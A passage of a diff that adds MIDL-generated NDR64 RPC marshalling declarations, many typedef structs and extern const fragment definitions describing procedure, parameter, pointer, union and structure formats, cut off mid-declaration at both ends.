+typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1884_t; +extern const __midl_frag1884_t __midl_frag1884; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1883_t; +extern const __midl_frag1883_t __midl_frag1883; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag1879_t; +extern const __midl_frag1879_t __midl_frag1879; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1878_t; +extern const __midl_frag1878_t __midl_frag1878; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1877_t; +extern const __midl_frag1877_t __midl_frag1877; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + NDR64_UINT32 frag8; +} +__midl_frag1876_t; +extern const __midl_frag1876_t __midl_frag1876; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1875_t; +extern const __midl_frag1875_t __midl_frag1875; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1874_t; +extern const __midl_frag1874_t __midl_frag1874; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1873_t; +extern const __midl_frag1873_t __midl_frag1873; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1871_t; +extern const __midl_frag1871_t __midl_frag1871; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag1867_t; +extern const __midl_frag1867_t __midl_frag1867; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1866_t; +extern const __midl_frag1866_t __midl_frag1866; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag1864_t; +extern const __midl_frag1864_t __midl_frag1864; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1863_t; +extern const __midl_frag1863_t __midl_frag1863; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1862_t; +extern const __midl_frag1862_t __midl_frag1862; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1861_t; +extern const __midl_frag1861_t __midl_frag1861; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1859_t; +extern const __midl_frag1859_t __midl_frag1859; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1849_t; +extern const __midl_frag1849_t __midl_frag1849; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1843_t; +extern const __midl_frag1843_t __midl_frag1843; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1839_t; +extern const __midl_frag1839_t __midl_frag1839; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1838_t; +extern const __midl_frag1838_t __midl_frag1838; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1837_t; +extern const __midl_frag1837_t __midl_frag1837; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1836_t; +extern const __midl_frag1836_t __midl_frag1836; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag1832_t; +extern const __midl_frag1832_t __midl_frag1832; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag1828_t; +extern const __midl_frag1828_t __midl_frag1828; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1826_t; +extern const __midl_frag1826_t __midl_frag1826; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1825_t; +extern const __midl_frag1825_t __midl_frag1825; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1817_t; +extern const __midl_frag1817_t __midl_frag1817; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1810_t; +extern const __midl_frag1810_t __midl_frag1810; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1805_t; +extern const __midl_frag1805_t __midl_frag1805; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1799_t; +extern const __midl_frag1799_t __midl_frag1799; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1794_t; +extern const __midl_frag1794_t __midl_frag1794; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1787_t; +extern const __midl_frag1787_t __midl_frag1787; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1783_t; +extern const __midl_frag1783_t __midl_frag1783; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1782_t; +extern const __midl_frag1782_t __midl_frag1782; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1781_t; +extern const __midl_frag1781_t __midl_frag1781; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1779_t; +extern const __midl_frag1779_t __midl_frag1779; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1770_t; +extern const __midl_frag1770_t __midl_frag1770; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1769_t; +extern const __midl_frag1769_t __midl_frag1769; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1768_t; +extern const __midl_frag1768_t __midl_frag1768; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; + struct _NDR64_PARAM_FORMAT frag13; + struct _NDR64_PARAM_FORMAT frag14; +} +__midl_frag1761_t; +extern const __midl_frag1761_t __midl_frag1761; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1749_t; +extern const __midl_frag1749_t __midl_frag1749; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1746_t; +extern const __midl_frag1746_t __midl_frag1746; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1742_t; +extern const __midl_frag1742_t __midl_frag1742; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1735_t; +extern const __midl_frag1735_t __midl_frag1735; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1725_t; +extern const __midl_frag1725_t __midl_frag1725; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1721_t; +extern const __midl_frag1721_t __midl_frag1721; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1720_t; +extern const __midl_frag1720_t __midl_frag1720; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1719_t; +extern const __midl_frag1719_t __midl_frag1719; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1718_t; +extern const __midl_frag1718_t __midl_frag1718; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1717_t; +extern const __midl_frag1717_t __midl_frag1717; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1716_t; +extern const __midl_frag1716_t __midl_frag1716; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1715_t; +extern const __midl_frag1715_t __midl_frag1715; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + NDR64_UINT32 frag6; +} +__midl_frag1713_t; +extern const __midl_frag1713_t __midl_frag1713; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1712_t; +extern const __midl_frag1712_t __midl_frag1712; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1711_t; +extern const __midl_frag1711_t __midl_frag1711; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1710_t; +extern const __midl_frag1710_t __midl_frag1710; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1708_t; +extern const __midl_frag1708_t __midl_frag1708; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1702_t; +extern const __midl_frag1702_t __midl_frag1702; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1697_t; +extern const __midl_frag1697_t __midl_frag1697; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1690_t; +extern const __midl_frag1690_t __midl_frag1690; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1673_t; +extern const __midl_frag1673_t __midl_frag1673; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1662_t; +extern const __midl_frag1662_t __midl_frag1662; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1661_t; +extern const __midl_frag1661_t __midl_frag1661; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1660_t; +extern const __midl_frag1660_t __midl_frag1660; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1659_t; +extern const __midl_frag1659_t __midl_frag1659; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag1657_t; +extern const __midl_frag1657_t __midl_frag1657; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1652_t; +extern const __midl_frag1652_t __midl_frag1652; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1645_t; +extern const __midl_frag1645_t __midl_frag1645; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1641_t; +extern const __midl_frag1641_t __midl_frag1641; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1640_t; +extern const __midl_frag1640_t __midl_frag1640; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1639_t; +extern const __midl_frag1639_t __midl_frag1639; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag1638_t; +extern const __midl_frag1638_t __midl_frag1638; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1637_t; +extern const __midl_frag1637_t __midl_frag1637; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1636_t; +extern const __midl_frag1636_t __midl_frag1636; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1635_t; +extern const __midl_frag1635_t __midl_frag1635; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1632_t; +extern const __midl_frag1632_t __midl_frag1632; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1621_t; +extern const __midl_frag1621_t __midl_frag1621; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1610_t; +extern const __midl_frag1610_t __midl_frag1610; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1603_t; +extern const __midl_frag1603_t __midl_frag1603; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1602_t; +extern const __midl_frag1602_t __midl_frag1602; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1601_t; +extern const __midl_frag1601_t __midl_frag1601; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1594_t; +extern const __midl_frag1594_t __midl_frag1594; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1583_t; +extern const __midl_frag1583_t __midl_frag1583; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; +} +__midl_frag1570_t; +extern const __midl_frag1570_t __midl_frag1570; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; + struct _NDR64_PARAM_FORMAT frag13; +} +__midl_frag1553_t; +extern const __midl_frag1553_t __midl_frag1553; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1548_t; +extern const __midl_frag1548_t __midl_frag1548; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1547_t; +extern const __midl_frag1547_t __midl_frag1547; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1546_t; +extern const __midl_frag1546_t __midl_frag1546; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1545_t; +extern const __midl_frag1545_t __midl_frag1545; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1544_t; +extern const __midl_frag1544_t __midl_frag1544; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1543_t; +extern const __midl_frag1543_t __midl_frag1543; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1542_t; +extern const __midl_frag1542_t __midl_frag1542; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag1541_t; +extern const __midl_frag1541_t __midl_frag1541; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1540_t; +extern const __midl_frag1540_t __midl_frag1540; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1539_t; +extern const __midl_frag1539_t __midl_frag1539; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1537_t; +extern const __midl_frag1537_t __midl_frag1537; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT 